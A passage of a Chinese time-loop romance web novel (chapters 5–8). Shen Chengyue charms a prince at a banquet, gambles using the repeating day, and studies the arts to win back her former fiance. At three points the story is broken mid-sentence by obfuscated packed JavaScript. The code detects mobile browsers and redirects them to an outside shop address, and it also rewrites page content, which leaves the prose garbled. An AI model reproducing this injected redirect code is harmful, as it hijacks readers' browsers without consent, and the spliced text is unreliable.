琴棋书画固然高雅,但在这种场合想出挑,舞蹈才是最直观的。 待一曲舞罢,沈乘月皓腕一动抖出轻纱水袖,回眸一笑,这是她不知多少次轮回中发挥的最完美的一次。 这一笑,连满园的鲜花都不如她明艳。 座席间一位男子,刚刚看得一脸痴傻,此时见舞罢,第一个为她鼓起了掌。 这男子叫作杜成玉,原本就喜欢沈乘月,从第一次偶遇开始就惊为天人,追在她身后,只盼得她一回顾。 但沈乘月对萧遇以外的男子通通不假辞色,对杜成玉也从来没什么好脸色,只觉得他烦。 她的目光掠过他,未曾有丝毫停留,径直看向自己真正想吸引的人。这惊艳一舞,让园子里的男男女女看向她的眼神,或赞赏,或歆羡,唯独萧遇端端正正地坐在座位上,没什么特别的反应。 每一次他都是这样的淡漠,要不是听他亲口表达过对沈瑕的爱意,沈乘月简直要怀疑他是个无情无欲的石头人了。 沈瑕也在席间,不过只坐在角落里,不显山不露水不出风头,人群鼓掌,她就跟着鼓掌,人群里掌声渐熄,她也开始低头饮茶。 沈乘月觉得扫兴,好在三皇子此时正拊掌笑道:“好!翩若惊鸿,矫若游龙!” 他的称赞,让沈乘月再次成为全场的焦点。 她规规矩矩行了个礼:“谢殿下。” 三皇子的外祖母见他喜欢,便招呼沈乘月到近前,问了几个问题。 “沈姑娘平日读什么书?” 沈乘月微微一笑,她还记得第一次自己如实说:“没读什么书,只偶尔看些话本。” 老人家的态度就冷淡了些,面上却不动声色,打发她到一边去玩了。 沈乘月当时很是无所谓地耸耸肩,大不了下个轮回再来。 第二次她开始吹嘘:“四书五经、史记汉书、昭明文选、通鉴辑览、骈体文钞、六朝文絜……” 像报菜名似的,把周夫人听得一愣一愣,然后毫不犹豫地淘汰了她。 经过多少次试探,沈乘月已经掌握了完美答案:“读了些诗书礼易和女四书。” 标准答案——读过得书不能太多,也不能太少,才是最合老人家心思的。 “那我考校考校你。”周夫人笑道。 第一次听到这话时,沈乘月怔在当场,只能报以一句略显憋屈的“恕我下次再来”,此时却早有准备。 “内训景贤范章第十一最后一节讲了什么?” “珠玉非宝,淑圣为宝;令徳不亏,室家是宜。” “慎言章第三呢?” “女不矜色,其行在徳。无盐虽陋,言用于齐而国安。” “女论语和柔篇作何解?” “讲与和为贵,勿与人轻启争端。” 两人一问一答,沈乘月对答如流。 园中众人听着,不由对她略有些改观,原以为沈家这位大姑娘除了美貌无甚长处,想不到能舞能文。 周夫人也笑着拉起她的手:“看着是个活泼好动的,不想竟耐得下性子读书,很好。” 沈乘月这才算是在她这里暂时通了关。 “不必拘着,你们这些无婚约在身的年轻姑娘,正是该好好玩玩闹闹的时候。” 沈乘月第一次听到这话时很是怔了怔,没想到皇家的消息如此之快,萧遇今早才提了一句,两家还没正式退婚,周夫人这边却已经得了消息,还在这个时候点了出来。 席间众人这才得知她和萧遇退婚之事,杯盏交错间互换了几个眼神,各怀心思。 沈乘月面上有些讪讪,毕竟她曾在很多人面前夸下海口,说一定要让萧遇这块百炼钢化成绕指柔——这句俗语用得不甚恰当,好在也没有人肯当面指出来。 她下意识看向沈瑕,后者却低着头,让她看不清表情,更看不出心思。 此时三皇子开口邀沈乘月一道游园赏花,算是为她解围,她欣然应允。见她得了皇子青眼,几个利益相关的世族略有些探究的眼神从她身上扫过。 但沈乘月是感受不到的,她一双妙目只看向萧遇那边,却见后者正垂首饮酒,连看都没有看她。 见到一直追着他的姑娘,跟旁人携手同游,他真的没有一点点嫉妒? 她心里置气,脸上却对三皇子笑得越加灿烂。 三皇子生得俊朗,但与萧遇的温润不同,他身上带着几分英武气,眉毛英挺,眼眸深邃。此时与沈乘月并肩而立,看起来也是一双壁人。 两人在夜色之中同游晖园,今夜月华如练,灯明如昼,花树影影绰绰,夜风徐来,把满庭花草的幽香卷入鼻间,实在清幽雅致。 有一朵花瓣被微风席卷着落在沈乘月肩头,三皇子先道了声“失礼”,才抬手为她拂去那一片花瓣。 “这是照水芙蓉的花瓣,晖园独有的品种,”三皇子示意她去看池边开得灿烂的那一片淡粉色花海,“这种花花期只有一天,现在是淡粉,到明日早晨会转为深红,随后就会凋谢。” “真美,”沈乘月望着,“那便是特地为今日夜宴布置的了?” “嗯,听说是用了某种法子催花开放的,”三皇子有些赧然,“为了我,倒是劳民伤财了。” “殿下言重了。” 两人漫游园中,宫女在前方提灯开路,三皇子侧头看沈乘月,主动与她搭话,无非是问她平日喜欢做些什么、玩些什么。 沈乘月答:“小女平日喜欢读些诗词,最爱的一句便是稼轩先生的‘乘风好去,长空万里,直下看山河’。” 三皇子颇为惊喜:“那也是我最喜欢的词!本宫此生只愿看遍世间大好山河,想不到今朝竟遇到有共同抱负的沈姑娘,当浮一大白!来人,上酒!” 沈乘月漫不经心地点了点头,轮回多少次,她当然知道那是他最喜欢的诗,她就是特地选了这个答案。 三皇子又特地嘱咐宫人:“给沈姑娘备甜酒。” 宫人很快呈上托盘,玉杯里盛着淡青色酒液,映着月色,霎是好看。酒液散着甜甜的果子香,倒是没什么酒气。 沈乘月饮尽一杯,觉得味道还不错,连鲜少饮酒的她喝了也无丝毫醉意。 晚风明月,芙蓉清酒。 喝不醉,也解不了千愁。 花树之间有色彩斑斓的鸟儿嬉戏,她不识得那是什么品种,只是见其羽毛鲜艳,便多看了几眼。 三皇子怕她觉得无趣,一路上又给她讲了几件自己在宫中的趣事和游历时的见闻。 沈乘月听得左耳进右耳出,毕竟她并不喜欢他,便只是麻木地重复着数次轮回中试探出来的最合三皇子心意的答案。 三皇子却似乎对她很有好感,虽然本朝男女大防不甚严重,两人到底也不便相处太久,逛了园子一圈,三皇子就有些不舍却守礼地邀她一同回到席间。 才入座不久,他又叫了晖园总管过来,吩咐了几句。不多时,晖园几名下人小心翼翼地捧了一株五色芙蓉出来。 这是晖园最名贵的一株花,平日不会轻易移动,百姓们平时要观花,也只能远远看上一眼。此时席间众人看着他们的举动,聪明些的已经猜出了状况。 果不其然,晖园总管对三皇子躬身道:“草民这就把芙蓉花送到沈姑娘府上。” 沈乘月起身,却也不多客套,只从容地行了礼:“多谢殿下。” 三皇子见她坦然从容,没有谨慎慌张地推拒,面上笑意反而更甚:“名花赠美人,相得益彰。” 这千金一掷,只为讨美人欢心。 在场众人侧目,知道沈乘月成为了皇子妃的有力竞争者。有人心下不悦,却自然也有人想讨巧,便开口凑了个热闹:“殿下,这名花成为沈姑娘私藏前,不若再让我等欣赏一二?” 三皇子笑着点头,于是晖园下人又抬着这盆名贵的芙蓉花绕园子一周,做足了排场。 沈乘月无比端庄地坐在席间看着这一切,见她这般作态,不知有多少人咬碎了一口银牙。 讨厌她的人好不容易熬到宴席结束,又听到三皇子要亲自送她回府。 沈乘月也笑着应了,前几次三皇子只是派侍卫护送,这一次改成亲自出马,想必是真的对自己很满意。 三殿下去牵马的工夫,有人热情地上前想与她攀谈,客套地称赞她的舞姿。 沈乘月却无视了这些人,只立在晖园门口,看着向这边走来的萧遇和沈瑕。两人之间隔着数尺的距离,在她看来,实在欲盖弥彰。 沈瑕看到长姐,脚步一顿。她今日穿了一袭清雅的白,和沈乘月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104019|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一身艳烈的红形成了强烈的反差。 沈乘月皮笑肉不笑:“萧哥哥,二妹妹,你们就没有什么话要对我说吗?” 萧遇抱拳行了一礼:“沈姑娘,恭喜。” 他是在恭喜她得了三殿下青眼。 “你……” 面对他时,沈乘月才想起“凭借美貌无往而不利”前面是要加上“几乎”二字的。 抱着自己不痛快,对面也别想痛快的心思,沈乘月冷笑一声:“恬不知耻。” 她声音压得很低,只是说给萧遇和沈瑕听的,并没有在众人面前公开羞辱他们两个的意思。 萧遇脸色有些难看:“沈姑娘,是我对不住你,你说我什么都是萧某应得的,但请不要牵累……” 沈乘月打断了他:“骂的就是你们两个,你以为我把你漏下了吗?” “你……” “萧公子!”沈瑕拦住了还待分说的萧遇,看向沈乘月,轻轻柔柔地叫了声“姐姐”。 “这会儿知道我是你姐姐了?”沈乘月的目光移向她,对视间正要开口嘲讽。萧遇却忽然踏前一步,把她半遮在身后。 这是一个保护的姿势。 沈乘月不习惯隔山打牛,不得不向左横移了半步,以便继续与沈瑕对视。 “……”眼前二人都不由沉默了一瞬。 与沈瑕重新对视上以后,沈乘月得意地挑了挑眉:“你抢了我的未婚夫婿又如何?我沈乘月转身就能与皇子同游。” 虽然她心底其实还是想要萧遇,但气势上总不能输。 待从沈瑕面上读出一丝失措,沈乘月这才满意地收回目光。 正要转身潇洒地拂袖而去,给这两人留下一个冷酷的背影,回头却险些撞到人。 来者作了一揖,脸上堆着笑:“沈姑娘。” 此处人来人往,萧遇和沈瑕也不便再多说,沉默着离开晖园门口,登上不同的马车,各自离去。 “杜公子,什么事?”看见眼前这厮,沈乘月只想皱眉。 “你和萧遇真的退婚了?”来者正是杜成玉,刚刚在席间看她跳舞看得痴了的那位追求者。 沈乘月不想承认,只含糊道:“关你什么事?” “莫不是……因为你那二妹妹?” “你刚刚听见了什么?”沈乘月怒目而视,“你长得人模狗样的怎么喜欢听人墙角?” “唉,其实我早就有所怀疑,我曾偶遇过萧遇和你二妹,虽然他们相处时谨守礼数,但我看那眼神就不对劲。” “他们背着我见面?这对、这对儿……”沈乘月咬牙切齿。 “狗男女?”杜成玉猜测着她的意图。 “住口!”沈乘月大怒,“谁准你骂萧哥哥和我二妹的?” “我这不是替你骂的吗?再说你自己刚刚没骂吗?” “我当面骂他们,那是他们欠我的,我理直气壮,”沈乘月皱了皱鼻子,“我不在背后这样骂人。” “……好好好,你说得都对。” “沈姑娘。”正巧三皇子唤她,沈乘月便打发杜成玉走开。 三皇子手里提了只金笼来,对她笑道:“这种鸟儿叫作锦绣川,刚刚见你喜欢,便吩咐总管捉了一对儿,你带回去养在院子里吧。” “多谢殿下。”原来刚刚她不过多看了几眼,他便注意到了。 她接过金笼:“这鸟儿养在院子里会不会飞走?” “剪过羽毛,飞不高的,”三皇子笑道,“不必与我客套,上车吧。” “是。” 三皇子亲自护送,很好地满足了沈乘月的虚荣心。 皇室的车马规格与百官不同,前方更有三皇子亲自骑马开路,沿路引来不少人围观。三皇子特地吩咐勿要惊了百姓,因此车马走得并不快,沈乘月倒也不急着结束这段路程,她掀开帘子,注意到很多目光久久汇聚于自己身上,成为万人瞩目的焦点终于冲淡了萧遇带来的那些不悦。 三皇子骑马行在前方,背脊挺得笔直。少年身姿挺拔,如竹如松,便是背影,也透出几分器宇轩昂。 不远处响起一阵嚎哭之声,沈乘月纷乱的思绪被打断,三皇子也停了马,吩咐侍卫前去问询。 不多时侍卫回转,回禀曰一妇人的三岁孩儿半个时辰前于集市上走失,三皇子闻言,立刻派了一半侍卫帮忙去寻找,并承诺自己护送沈乘月回府后也会一道来寻人。 沈乘月在一旁看着,暗道他真是个热心肠。 三皇子见她掀帘注视这边,对她一笑,安抚道:“沈姑娘不必忧心,找到那孩童后,我定派人去贵府告知一声。” 沈乘月含笑点头。 待到了沈府,家中众人已经闻讯立于府门口迎接,她在孙嬷嬷搀扶下下了马车,抬眼看到沈瑕的灰顶马车绕进了小巷,大概是要走那边的侧门。 除了萧遇这个扫兴的家伙,这一夜,沈乘月算是风光无限,不知得了多少人的夸赞、歆羡。 伴着五色芙蓉的清香入睡时,她觉得自己很厉害,竟把浮生中最令人忧愁的一日,勉强扭转成了解气的一天。 6.第 6 章 沈乘月难免会把萧遇与三殿下做比较。 三皇子有权有势,行事有礼有节,是个热心肠,容貌与萧遇各有千秋,京城里心悦于他的女子不在少数。而且他显见对她很有好感,似乎没有哪里不合心意的。 可她偏偏不想要。 她喜欢他带给她的排场,想借他向萧遇证明,自己可以找到丝毫不逊色于他的男子。 但她并未对他心动。 沈乘月左思右想,终于决定——不想要的,就要及时放弃。 她不该舍不得那些排场和风头,始终牵绊其中。 想明白这些以后,沈乘月渐渐不再去参加晖园夜宴了。那些掌声与喝彩固然是一种享受,但也不必日日都有。 让萧遇嫉妒的计划不管用,她有些自暴自弃,开始整日吃喝玩乐起来。 以往她也从未惦记着要保持苗条、保持体态,她对自己有着无比的自信,觉得自己就算吃胖了,也定然是个胖美人。 不过毕竟有些东西不大健康,比如寒性太重的螃蟹一类,祖母就常常不许她多吃。如今有了这个机会倒是放开了,走遍京城各大酒楼,点最贵的最好的菜肴。什么海味山珍、龙肝凤髓,只有厨子做不出的,没有她不舍得的。 用了午膳,就去逛街,为最昂贵的衣饰珠宝一掷千金——反正明日这千金总会还复来。 每天一套崭新的衣物首饰,招摇过市。 兴致来时一挥手,就包下整整一间铺子的珠宝。 单凭她的月钱自是不够她这般嚣张的,不过她有祖母多年间给的银子、铺子,还有舅舅家因为心疼她没能在母亲身边长大而不停地补贴。不考虑以后,只要豁出去热闹这一天的话,无论如何都是足够的。 孙嬷嬷劝她收敛:“姑娘,连铺子都抵出去了,到时候如何向老夫人交待?” 沈乘月就笑言:“你不懂,俗语有云,是金子总会花光的。” “……” 虽说是下定决心要挽回萧遇,但她这辈子还没为什么事努力过,仍是习惯性地懒怠,又想着反正每天都在轮回,时间还有很多,什么时候开始努力都不晚。 于是她几乎每天都在玩乐,十天里能抽出一日来练练字,就已经觉得自己很了不起了。 不过时间循环总算不是毫无益处,至少沈乘月终于学会了看人脸色。萧遇再次找上门退婚的时候,她总算看出了他面露难色,于是言笑晏晏地开解道:“萧哥哥,有什么为难的事,别憋闷在心里,也说出来让我嘲笑嘲笑,莫不是有情人不能名正言顺地终成眷属啊?” “……” 后来,把人戏耍够了,她也算是消了气,懒得再日日去见萧遇,听他退一回婚。便干脆让孙嬷嬷去把人打发了,自己每天一醒来,就溜出去玩。只偶尔太过想念时,才去见上一回。 她很快想到了利用循环的最佳地点——赌坊。 这种地方,她以前怕被祖母骂从来不敢踏足。但如今陷入了轮回,一觉醒来,没有人会记得她出格的行为。若不趁机做些逾矩之事,未免太亏。 光顾赌坊第一天,她不参与,只旁观,把每一次骰盅开出来的大小记得清清楚楚。十几年没怎么用过的脑子,在这种歪门邪路上倒是疯狂运转。 第二天,小试牛刀。 第三天,砸上全数身家。 如此依靠轮回作弊,自然是赢得盆满钵满。 赌场里其他人看她的眼神又惊又叹,一群赌徒围在她身边,跟着她押注,每赢一局就连声欢呼,看向她的眼神里带着几分狂热。 众星拱月,纸醉金迷。 逢赌必赢,百战百胜。 她不懂赌场的隐性规则,只管自己开心,好在她每次出门时都带着丫鬟小厮,一看便知出身非富即贵,赌场的人就算有靠山,也不敢得罪官家,倒也没有把她如何。只是有些怀疑她出千,派人盯了半日,却也没什么结果。 沈乘月玩腻了记骰子,又逐渐学会了推牌九、叶子牌、六博棋,京里大大小小的赌坊都去过了,很是堕落了一番。 对比琴棋书画的进度,沈乘月不免感叹,一个人学好不容易,可堕落实在简单得很。 这么久过去,她画狗终于不像老鼠,棋艺也才勉强能胜过孙嬷嬷——这也许还是因为后者有留手。 堕落的感觉实在令人沉迷,沈乘月连续光顾赌坊一个多月,才开始觉得无趣,又去寻找新的乐子。 满京戏园子的戏她都看过了,虽然时间在轮回,但她肯用钱砸,就可以指定戏班子当天出演什么剧目,不必日日对着同一出戏曲。 纵然如此,连着看了几个月,把一处并不怎么喜欢的石猴取经的故事都翻来覆去看了五遍后,终于是腻烦了。 她又让沈府的下人满京城去搜罗话本故事,然后让大丫鬟读给她听,不知过了多久,连市面上能找到的话本都读得差不多了。 她过了很长一段时间的逍遥日子。 还找机会把自己所有的仇人都小小戏耍了一番。 她不知世事,能想到的最“恶毒”的法子,不过是砸下重金抢了与她不对付的翰林千金看中的簪子,或者埋伏在墙角朝某位公子的锦袍上扔泥巴。 看见人家气得磨牙跳脚,她就大笑着扬长而去,反正只要躲过今日,就不怕他们去沈府告状导致自己被训斥。 快活不知时日过。 她把京城里能玩的都玩了一遍,便想去京城外的碧落峰游玩,那里有温泉山庄,以往她每年都要去上几回的。 她禀告了祖母,又吩咐丫鬟们不必收拾行李,轻车简从、开开心心地出发,但碧落峰距离不算近,路上就要耗时一整天,最终她也只能在凌晨的时候望一眼朝晖之下那山峰的轮廓。然后陷入沉眠,再醒来仍然躺在芙蓉纱帐当中,一成不变。 这个时候,她才突然慌了。 话本戏曲看腻了,京城所有稍稍出名的酒楼饭庄都尝过一遍,连名贵的衣裳首饰都开始令她提不起兴趣,捉弄人也显得越发无聊…… 那些肤浅的快乐褪去后,沈乘月陷入了无尽的恐慌——她一个人被困在时间一隅,无人知晓。 而其他人都在过着正常的日子,快乐的、忙碌的。 茫然四顾,没有人知道她的困境,没有人可以帮她。 她试着对其他人倾诉,一次又一次被当成疯子。就算没有,他们也想不到办法来帮她。 而七月中旬的天气,始终如此燥热,挣脱不得。 萧遇,也始终郎心似铁。 沈乘月又在祖母面前哭了一场:“我已经很努力了,为什么还是得不到我想要的?” 老夫人安慰了她很久,此时终于反问了一句:“你努力了什么?” “我、我学了一支舞,特别漂亮,惊艳了很多人,可他看都不看一眼。”沈乘月实在委屈。 老夫人失笑:“对我们月儿而言确实不容易。” 沈乘月扁嘴:“祖母……” 老夫人叹了口气:“他决意退婚,你却仍不想放弃吗?” “决不!祖母,对不住,你分析的利弊我都听进去了,我也不想让你担忧,可我一定要他。” 沈乘月认定轮回是上天给自己的一个挽回萧遇的机会,也相信萧遇一旦打消了退婚的念头,轮回就会随之结束。 就算不是为了爱情,也要为了破解轮回去搏一搏。 “你还知道我会担忧?倒是长大了。既然如此,我就多说两句,”老夫人眼神里盛着心疼,“你有没有了解过萧遇喜欢什么?他是会被一支舞打动的人吗?祖母说句你不爱听的,一支舞而已,实在算不得多努力。” 沈乘月怔了怔,被最亲近的人这样说,她面上有些挂不住。 “快快乐乐地过你的日子不好吗?放手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是了……”沈乘月也记得这回事,祖母六十寿宴时,沈瑕为了绣那副图,据说险些把眼睛都熬坏了,但只得了祖母一句淡淡的“不错”。而沈乘月命人搜罗来的摆件,却被祖母夸了又夸。 见孙嬷嬷挑了个大小姐最不在意的来讲,其他丫鬟瞥了她一眼,暗骂了一句老奸巨猾。 “还有呢?”沈乘月又问。 被她眼神盯上的丫鬟缩了缩脖子:“兴许,作诗上是差了一点点吧?” 这还真不只是“一点点”,沈乘月的诗作停留在非常朴素的写实水平上,顶多编上两句“梅花似雪,柳叶如眉”,诗会上众人夸她一夸也只是看在她的家世上给些面子。而沈瑕的诗句既然能得满京赞誉,那必然远远不是她及得上的。 “还有呢?” “没有了……” “嗯?不说罚月钱!” “兴许,琴棋书画?” 众人瞪了这个不懂事的丫鬟一眼,说好一人说一个,你却一个人说了四个,会不会打击到大小姐另说,你让后面的人说些什么? “这个我知道,还有吗?” “这,二小姐待人接物会……温柔些吧?” “……” “姑娘,你生气了吗?” “继续说。” “听说二小姐平日做过很多善事。” “……” “二小姐心灵手巧,能歌亦舞。” “……” “二小姐会些厨艺。” “……” “二小姐知书达理。” “……” 听着耳边的一声声一句句“二小姐”,沈乘月捂了捂胸口,欲哭无泪。 按这样算下去,我若是萧遇,我也喜欢沈瑕啊…… 7.第 7 章 沈乘月被打击得捂了捂心口,但很快振作起来。 她现在虽然在很多方面不如沈瑕,那努力赶超就好了呀。 循环不就是给她提供了一个这样的机会吗? 想到此处,沈乘月摩拳擦掌,生出了无尽的斗志:“孙嬷嬷,去给我请些教琴棋书画的夫子来,我今日就要在府里看到他们!” 这个流程她已经很熟悉了,知道孙嬷嬷会先去禀告老夫人,而祖母自然无有不应。 她要求夫子当日就到府,好在老夫人知道她的水平,也不会给她请什么当世大家,沈府有钱有势,普通的夫子倒不算难请。 沈乘月终于认真开始了她的学习生涯,她的动力有二,一是破解轮回,二是对萧遇的执着。 她认真上了一日的琴艺课,女夫子头疼地纠正了无数遍她的指法。京中的世家大族都会从小教习家中女孩儿琴棋书画,但沈乘月这表现,夫子一眼便看出她不是基础不好,而是小时候压根没学过。 被纠正的次数多了,沈乘月也有点不好意思,小时候她从来不耐烦认真上课,每每逃课出去玩,就算被祖母抓到了,也只是摇头叹气,却不忍心苛责她。偶尔肯坐在学堂里,那也是左耳朵进右耳朵出。 好在,如今她有无数次可以失败的机会。 她并不蠢笨,只是有脑子却从来懒得用,如今下了决心,进步倒也迅速。忘了是第几十次轮回时,教琴艺的女夫子颇有些惊喜地望着她:“贵府的人来请我时,说姑娘基础不好,想不到竟有如此天赋。” 沈乘月面色微红,没说自己是靠着轮回做了弊。 因为手上没有长期练琴弹出来的茧子,她每天练习久了都觉得手指很疼,最开始,她常常练到崩溃痛哭,但哭着哭着也习惯了。 一边放声大哭,一边手下抚琴动作不停。 连夫子都看呆了,小心翼翼地问她要不要休息一会儿。 沈乘月狠了狠心:“不用,我哭就是习惯而已,不是真的伤心,不用管我。” 她是真的疼,也是真的难受。但她很清楚,在时间循环中,她永远不可能生出保护自己的茧子,再拖下去,要等到猴年马月才能成功? 她性子一向娇气,但在无人可依靠的时间轮回里,这娇气多少也被磨出了两分无可奈何的坚韧来。 她不喜欢忙碌,但为自己的目标忙碌不会让人真正崩塌,痛恨环境又不肯做出改变时,那份无力感才会悄无声息地蚕食一个人。 最开始她每学一日,就给自己一个休沐日用来偷懒,到后来又改成每三日一次休沐,逐渐到最后,每七日一个休沐。 沈乘月生平第一次如此用心做一件事,虽然一开始的目的很功利,但渐渐倒也从中得了些趣味,看着自己每天都离目标更近一步,也是颇有成就感。 有了这许多知识要学,她也不再沉溺于被退婚的痛苦中,整天觉得自己是天底下最可怜的人。 她全心投入,辛苦练习,身边人不由有些惊讶:“姑娘辛苦了。” 沈乘月倒也看得开,也只能看得开:“也许是小时候选了太容易太轻松的生活,现在就要补回来。” 孙嬷嬷抿唇笑笑:“姑娘真是长大了,是……为了萧公子?” “嗯,他喜欢这些风雅的东西。” “姑娘也是实心眼,”孙嬷嬷心疼她辛苦,“为了萧公子,练熟一支曲子、一幅画来惊他一回不就好了?何必这么用功呢?你看,指头都磨红了。” “我曾经也是这么想的,”沈乘月叹气,“只是……萧遇不是那么容易被打动的。何况,也许只有尽了全力以后,失败了才肯甘心吧。” 后半句是假话,无论如何,她都不可能甘心。 萧遇已经不只是她今生所爱,更代表着她脱离轮回的希望,她不接受失败。 她全心全意做着准备,因为太想成功,所以力图万全。 “对了,”沈乘月今日又路过了一遍那紫藤花架下闲言碎语的小厮丫鬟们,此时终于想起来要问,“月华院里有没有过一个叫小桃的丫头?” “有。”孙嬷嬷如实道。 “她怎么了?” 沈乘月从不关心庶务,孙嬷嬷没想到有这一问:“手脚不干净,偷了姑娘的东西,撵出府去了。” “这样啊。” 孙嬷嬷欲言又止,最后只问了一句:“姑娘怎么突然提起小桃?” “没什么,”沈乘月摇了摇头,没放在心上,“既是手脚不干净,你们安排就好。” “是。” 如此,日复一日,循环往复,沈乘月在旁人毫不知情的地方悄然进步着。 最开始她总是浮躁得很,急于求成,想早些脱离七月中旬这燥热的天,但时间久了,性情也稍稍沉淀下来。 ——— 当她终于能脱离曲谱弹上几支完整的曲子、画风不再抽象、下棋下赢满院丫鬟时,才算理解了祖母的意思。 练一支舞,背几句内训里的词去讨巧,实在算不得什么值得拿出来嚷嚷的付出。 若易地而处,心悦自己的男子去学一支舞来讨自己欢心,她大概也懒得去给什么好脸色。 起初,每一点进步,她都忍不住要到处炫耀。 她弹琴给祖母和父亲听、给满院丫鬟听、给在院子里短暂停留的麻雀听,要不是七弦琴太重,她还想抱着琴追着屋顶上路过的一只野猫强迫它也一起听。 她大概永远不会忘记祖母听见自己抚琴时那惊讶又骄傲的表情,老夫人甚至悄悄用帕子拭了拭眼下的泪水。这也逐渐成了沈乘月的动力之一。 好在她还没有失去理智,要自取其辱地去表演给沈瑕听一听。 有时候她也会思索:“我不明白,我有了时间循环还觉得累觉得苦,时不时还要哭上一场,沈瑕又是如何在有限的时间里做到琴棋书画样样精通的?她就不想偷懒不想出去玩吗?” 孙嬷嬷听到了后半句,眼观鼻鼻观心,只要大小姐不点她的名,她就绝不会主动站出来回答这个问题。 好在沈乘月也没指望她来答:“我要去沈瑕的院子里看看。” “姑娘,”孙嬷嬷连忙劝解,“虽然是二小姐和萧公子不义在先,但若姐妹互殴的事传出去,多少对您的声名有碍……” “怎么连你都以为我要动手?”沈乘月难以理解,“我像是这么跋扈的人吗?” “不像!”孙嬷嬷斩钉截铁。 沈乘月白了她一眼:“跟上!” “是!” 在京城中心这寸土寸金之地,沈府传下来的宅子极大,足可见祖上豪阔。沈瑕所居的“杏园”离沈家其他人的住所都很远,独自幽居在沈府一隅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14121007|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这是她自己选的,她说自己喜欢这座园子。 杏园比沈乘月的月华院小一些,园子里除了些杏树,便没有旁的花草。如今盛夏时分,杏花早凋谢了,杏子也熟过了头,被丫鬟们摘去了。树上除了绿叶,便什么都没有。 这不是沈乘月喜欢的风格,她一向喜欢花团锦簇、热热闹闹的模样。 一见她,沈瑕院子里的下人都有些紧张,连声问安:“见过大小姐!” “你们姑娘呢?” “姑娘被老夫人叫去了。” “又……” 门外响起一阵喧哗,打断了她的问话:“姑娘昏倒了,快过来帮把手!” 几个下人疾步踏出门,不多时,七手八脚地抬进来一个姑娘,正是沈瑕。 她双眸紧闭,唇色泛白,额头上渗出细密的汗珠,一缕如绸的墨发也被浸湿了,紧贴在脸上,被丫鬟小心翼翼地拨开。 沈乘月怔了怔,这才想起来,今早自己有些想念萧遇,就去见了一面,听他提了退婚。想来是祖母知道了,便又叫沈瑕去罚跪了。 沈乘月看她这模样,心里也有些打鼓,觉得她不似作假,连忙吩咐杏园的下人:“还愣着做什么?快去取冰盆啊!” 正用帕子给沈瑕拭汗的丫鬟抿了抿唇:“回大小姐的话,杏园没有冰盆。” “怎会没有?”沈乘月不信,“被你们这群丫头贪了不成?” 京城位置偏北,每年夏天持续得时间都不长,沈府公中的份例里也就没有特意设冰盆这一项,沈乘月用的都是老夫人自己掏钱补贴的,只是从没有人特地告知过她。 孙嬷嬷轻轻扯了扯她的袖口:“姑娘。” 沈乘月不解其意,倒也没有追问,转而提议:“那就去叫个大夫啊!” “老夫人没吩咐叫大夫。” 沈乘月简直要被杏园的丫鬟气笑了:“祖母不吩咐就不叫?你们怎的这般不知变通?” 沈瑕的丫鬟对她行了一礼:“大小姐,这边忙乱得很,您身份高贵,还是先请回吧,免得我等无意怠慢了您。” 这话有些负气赶客、让沈乘月别在这里添乱的意思,一旁其他丫鬟连忙拉了她一把,惊恐地示意她赶快住嘴。 好在沈乘月没听懂。 但孙嬷嬷又怎会不懂?她心下也生出些不满,明明是二小姐抢了大小姐的未婚夫才会被老夫人叫去罚跪,这丫头言语间还怪上我们大小姐了不成? 便是不提嫡庶亲疏,难道别家同父同母的妹妹跟姐姐的未婚夫生出私情,家里就一点惩处都没有? 大小姐见二小姐昏迷,连负气都忘了,急着要冰盆喊大夫,那是她大度,你这丫头凭什么对她这般大呼小叫的? 见沈乘月还要开口,孙嬷嬷连忙拦她:“姑娘,我们走吧。” “我……” “别管了,”孙嬷嬷声音压得极轻,“可怜人必有可恨之处。” 沈乘月怔了怔,想起往日恩怨,也明白自己没立场去插手人家院里的事,摇了摇头:“好,走吧。” 走到门口,她又忍不住回头看了一眼,看向床上那道昏迷的纤瘦人影,一个念头忽然划过她的脑海——不知萧遇他有没有想过,他贸然开口退婚,会给沈瑕带来这样的后果。 但这个念头只是一闪而过,她并没有细想。 8.第 8 章 “姑娘这曲潇湘水云实在妙极,”夫子拊掌夸赞,“贵府请我来当教习,我却觉得我实在没什么可教你的了。” 沈乘月垂首一笑。 “姑娘若想继续进学,我来推荐一位琴师,如何?” “那就多谢夫子了。” “不过这位琴师有些挑剔,要先听过姑娘弹奏,再决定是否收徒。” “我明白。” 沈乘月的教习夫子逐渐换了一批的时候,她已经不大记得清到底流转过多少时日,也懒得再去计数了。 她已经在七月中旬停滞了太久太久,单调重复、毫无新意的日子比她想象得还要难熬,她之所以还没崩溃,只是因为吊在眼前的那一根“胡萝卜”——那叫希望。 有时候注视着泛着疼痛的指尖,想着萧遇可能会有的反应,她心下便泛起一阵喜悦。 她所有的努力,都只为着感动他、撼动他、让他对退婚产生迟疑的那一日。 为此,她自认已经做了万全的准备。 ——— 这一天,沈乘月一早醒来,就把满院子的人支使得团团转,将月华院布置成自己想要的模样。 